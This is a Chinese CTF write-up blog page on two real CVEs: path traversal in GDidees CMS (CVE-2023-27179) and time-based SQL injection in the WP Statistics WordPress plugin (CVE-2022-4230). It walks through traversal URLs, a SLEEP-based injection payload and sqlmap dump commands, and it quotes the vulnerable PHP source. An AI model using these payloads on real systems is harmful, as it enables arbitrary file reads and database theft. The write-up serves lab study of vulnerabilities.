当前位置: 首页 > news >正文

cqyjldfx

CVE-2023-27179

靶标介绍:

GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。

提示有本地文件泄露,且位于 /_admin/imgdownload.php,参数是filename

所以可以构造: /_admin/imgdownload.php?filename=../../../../../flag

../可以遍历目录,最终查找flag

得到的是png文件,用笔记本编辑打开就可以得到flag

漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点,通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。

但在其他师傅的复现是png文件下载后并不能够读取文件内容,用到curl工具

curl -l 命令可以自动重定向,并且获得最终结果,相当于读取页面的内容

可以构造: curl -l "http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../flag"

同样可以得到flag

通过查找可以搜到漏洞产生的原理(查找的源代码):

<?php
$filename = $_GET['filename'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($filename));
header('Content-Transfer-Encoding: binary');
header('Expires: ');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?>

定义了一个参数filename,传给函数readfile,但是对所传入的参数没有限制,形成本地文件包含漏洞

readfile() 函数读取一个文件,并写入到输出缓冲。

如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。

因此可以通过目录遍历对文件进行读取。

CVE-2022-4230

靶标介绍:

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

WP,即WordPress。WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

一上来在初始界面什么都没有,进行目录扫描

用dirseach可以扫出readme.html,由于返回状态码500的太多了,还是建议在扫描时加上状态码限制,-i 200

 可以:dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com -i 200

 -i 只显示该状态码

-x 不显示该状态码

得到扫描结果后就可以访问

全是英语,看不懂没关系,直接翻译一下

可以看到登录界面,login page,点击后进入登录界面

 呃,数据库连接失败,看了其他师傅的,该页面确实是登录界面,可能是环境问题。

进行抓包分析

状态码返回500,服务器错误状态码,确实是环境问题,重新打开新环境

重新打开环境后来到了登录框界面,注意观察:返回到test,那么test是什么的,这里猜测是用户名,他的意思就是返回test这个用户

点击后回到了初始界面

那么使用test进行登录看看,经过测试后密码也是为test

成功登录到该用户

根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。

进行搜索

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证。wpscan平台是专门针对wordpress的漏洞平台.

进行访问:

http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce

拿到我们的_wpnonce(随机数)

/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa

 

得到如下界面

进行SQL注入,从wpscan平台可以得知是时间盲注

构造:

http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

进行验证,在5秒钟之后才回显,存在SQL注入的时间盲注漏洞,用sqlmap跑

抓包,把get请求的内容复制到5.txt文件中

命令: sqlmap -r 5.txt --batch --dbs

 可以看到扫出来了四个库,注重wordpress这个库

接着获取该数据库的表名

sqlmap -r 5.txt --batch -D wordpress --tables

可以看到flag这个表,爆表的字段

sqlmap -r 5.txt --batch -D wordpress -T flag --columns

字段flag,获取字段的内容

sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump

相关文章:

cqyjldfx

CVE-2023-27179 靶标介绍&#xff1a; GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞&#xff0c;漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。 提示有本地文件泄露&a…...

大数据——HBase原理

摘要 HBase 是一个开源的、非关系型的分布式数据库系统&#xff0c;主要用于存储海量的结构化和半结构化数据。它是基于谷歌的 Bigtable 论文实现的&#xff0c;运行在 Hadoop 分布式文件系统&#xff08;HDFS&#xff09;之上&#xff0c;并且可以与 Hadoop 生态系统的其他组…...

《电视技术》是什么级别的期刊?是正规期刊吗?能评职称吗?

问题解答 问&#xff1a;《电视技术》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定学术期刊。 问&#xff1a;《电视技术》级别&#xff1f; 答&#xff1a;国家级。主管单位&#xff1a;中国电子科技集团公司 主办单位&#xff…...

网络编程 --------- 2、socket网络编程接口

1、什么是socket 套接字 socke套接字是一个编程的接口 (网络编程的接口)、是一种特殊的文件描述符 (read/write)&#xff0c;不局限于TCP/IP 。socket是独立于具体协议的网络编程接口这个接口是位于 应用层和传输层之间 。 类型&#xff1a; (1)流式套接字 SOCK_ST…...

C# Deconstruct详解

总目录 前言 该文来源于探索弃元的使用&#xff0c;由弃元了解到元组&#xff0c;由元组又了解到解构方法Deconstruct。 另外本文中 解构和析构一个意思&#xff0c;不要在意&#xff01; 一、Deconstruct是什么&#xff1f; 1. 关于元组 如果我们想了解Deconstruct 的使用&…...

Java 面试常见问题之——为什么重写equals时必须重写hashCode方法

Java 面试常见问题之——为什么重写equals时必须重写hashCode方法 当重写 equals 方法时&#xff0c;通常也应该重写 hashCode 方法&#xff0c;原因主要有以下几点&#xff1a; 一致性原则&#xff1a;根据 Java 的约定&#xff0c;如果两个对象通过 equals 方法比较返回 tr…...

后端给的树形结构 递归 改造成阶联选择器所需要的lable、value结构

赋值&#xff1a;this.newTreeData this.renameFields(this.treeData) 递归方法&#xff1a;renameFields (tree) {return tree.map(node > {// 创建一个新对象来存放修改后的字段名const newNode {value: node.id,label: node.title,// 如果有子节点&#xff0c;则递归处理…...

文献阅读:基于拓扑结构模型构建ICI收益诊断模型

介绍 Custom scoring based on ecological topology of gut microbiota associated with cancer immunotherapy outcome是来自法国Gustave Roussy Cancer Campus的Laurence Zitvogel实验室最近发表在cell的关于使用肠道微生物拓扑结构预测免疫治疗疗效的文章。 该研究提供基于…...

Python文献调研(四)QtDesigner的布局

一、新建项目&#xff1a; 1.打开pycharm&#xff0c;新建一个Python项目 &#xff08;1&#xff09;右键项目列表区&#xff0c;找到我们之前配置好的外部工具&#xff0c;点击Pyside6 QtDesigner 打开Qt Designer后会是这个界面&#xff1a; &#xff08;2&#xff09;此时…...

CentOS Linux release 7.9.2009 中sudo命令未找到

先在 Windows 环境中下载 sudo 的安装包 下载安装包&#xff1a;https://www.sudo.ws/releases/stable/ 然后把安装包拷贝的 Centos 中&#xff0c;cd 进入安装包所在的目录执行下面的命令&#xff1a; 格式&#xff1a;rpm -Uhv xxxxx.rpm rpm -Uhv sudo-logsrvd-1.9.15-6.…...

生产计划问题的不同最优化工具软件求解

一、优化求解软件简介 众所周知&#xff0c;常用的优化工具软件有Lingo、Mathcad和MATLAB。 1. LINGO是Linear Interactive and General Optimizer的缩写&#xff0c;即“交互式的线性和通用优化求解器”&#xff0c;由美国LINDO系统公司&#xff08;Lindo System Inc.&…...

Java关键字及保留字总结

文章目录 Java关键字及保留字总结&#xff08;按首字母字母顺序所排列&#xff09;1.abstract2.boolean3.break4.byte5.case6.catch7.char8.class9.continue10.default11.do12.double13.else14.enum15.extends16.final17.finally18.float19.for20.if21.implements22.import23.i…...

【PGCCC】PostgreSQL 14 小版本分析,有那个版本不建议使用#PG中级

以下是对 PostgreSQL 14 各个小版本的详细分析&#xff0c;包括每个版本的主要变化、修复的 bug 和潜在的问题&#xff1a; PostgreSQL 14.0 发布日期&#xff1a;2021 年 9 月 30 日 主要变化&#xff1a; 增加了并行查询的改进&#xff0c;提升了性能。增强了 JSON 数据类…...

B树在数据库中的应用:理论与实践

B树在数据库中的应用&#xff1a;理论与实践 B树&#xff08;B-tree&#xff09;是一种自平衡的树数据结构&#xff0c;广泛应用于数据库系统中&#xff0c;特别是用于实现索引和文件系统中的关键字查找。B树的设计目标是保持数据有序并允许高效的查找、插入和删除操作。本文将…...

网络编程 -------- 3、TCP_UDP_UNIX

1、基于TCP的套接字编程流程 Server.c socket bind &#xff08;服务器的ip端口&#xff09; listen accept recv / send close Client.c socket connect &#xff08;服务器的ip端口&#xff09; …...

口袋奇兵:游戏辅助教程!陆军搭配阵容推荐,平民必备!

《口袋奇兵》是一款策略类手游&#xff0c;玩家需要在游戏中组建和指挥自己的军队&#xff0c;进行各种战斗和任务。为了在游戏中取得更好的成绩&#xff0c;合理搭配英雄和使用辅助工具是非常重要的。本攻略将为大家介绍一种强力的陆军搭配阵容&#xff0c;以及如何利用VMOS云…...

Spring Boot 集成参数效验 Validator

为什么需要参数效验? 在业务开发中,为了防止非法参数对业务造成影响,所以需要对用户输入的正确性、数据完整性、安全性、业务规则的执行做效验,靠代码对接口参数做if判断的话就太繁琐了,代码冗余且可读性差(主要是不够优雅)。 Validator效验框架遵循了JSR-303验证规范…...

63、ELK安装和部署

一、ELK日志系统 1.1、ELK平台的定义 ELK平台是一套完整的日志集中处理解决方案&#xff0c;将ElasticSearch、Logstash和Kiabana 三个开源工具配合使用&#xff0c;完成更强大的用户对日志的查询、排序、统计需求 E:elasticsearch ES分布式索引型非关系数据库&#xff0c;存…...

【Dash】简单的直方图

一、Visualizing Data The Plotly graphing library has more than 50 chart types to choose from. In this example, we will make use of the histogram chart. # Import packages from dash import Dash, html, dash_table, dcc import pandas as pd import plotly.expre…...

【CTF-Crypto】格密码基础(例题较多,非常适合入门!)

格密码相关 文章目录 格密码相关格密码基本概念&#xff08;属于后量子密码&#xff09;基础的格运算&#xff08;行列式运算&#xff09;SVP&#xff08;shortest Vector Problem&#xff09;最短向量问题CVP&#xff08;Closet Vector Problem&#xff09;最近向量问题 做题要…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

spring:实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

sqlserver 根据指定字符 解析拼接字符串

DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

零基础设计模式——行为型模式 - 责任链模式

第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想&#xff1a;使多个对象都有机会处…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化

缓存架构 代码结构 代码详情 功能点&#xff1a; 多级缓存&#xff0c;先查本地缓存&#xff0c;再查Redis&#xff0c;最后才查数据库热点数据重建逻辑使用分布式锁&#xff0c;二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...

mac 安装homebrew (nvm 及git)

mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用&#xff1a; 方法一&#xff1a;使用 Homebrew 安装 Git&#xff08;推荐&#xff09; 步骤如下&#xff1a;打开终端&#xff08;Terminal.app&#xff09; 1.安装 Homebrew…...